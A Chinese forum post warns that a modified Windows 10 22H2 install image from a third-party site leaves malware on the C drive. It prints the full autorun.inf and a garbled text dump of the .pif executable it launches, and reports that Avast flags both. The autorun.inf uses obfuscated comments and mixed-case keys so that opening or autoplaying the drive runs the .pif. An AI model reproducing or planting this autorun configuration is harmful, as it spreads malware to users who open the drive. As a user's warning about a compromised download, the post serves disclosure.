|
在楼主自建网站中的ww删w.y删ueblx.com/?i删d=1删4下了Windows10 22H2 完整+适量精简多合一安装版2025.07,安装了无驱动win10完整版admin和自建账户2个版本,不要直接打开C盘,用cmd中查看C盘有autorun. inf和ofydw.pif,其中.pif文件会在每次安装系统后随机变更名字
autorun. inf的内容为:
;pAqIvtCKP kwovwKCVnduHjuAIk NsYEsvvJxehuNX
[AutoRun]
;HjwoX mWiwGd tQyqfNkHuI yhjopcAFNjoVgUOje
;ltmQcNbtGSy ioUaB
sHeLl\Open\cOMmANd = ofydw.pif
;Bctrrp
shELl\opEn\DEfaULt=1
;dyofm xPbNe
shelL\explore\COmmand =ofydw.pif
;aglay
OpeN =emadon.pif
;KeYkHFmFWLV
ShEll\AuTOPlay\CommaNd =ofydw.pif
type查看了emadon.pif,内容:type ofydw.pif
MZ?PELyrf<[LordPE]?@@P`<.text@2_ ?`<.text? ???Hello world!Caption?Z伮|R勧颇斆j@脨悙?????}ExitProcessKERNEL32.dll?MessageBoxWUSER32.dll囝e???f?箷]饮mJ嵊?F孖[N)?9媪囏 更傎pq鏁眻?灄?讉扮?Tu詃Z?vo鐐啜鷢授?m??m揲gQdy`熤Q?
安装了avast全盘查杀,这2个文件报毒;如果一开始就打开了C盘而不是使用CMD查看,avast全盘查杀会报十几个病毒。
|
|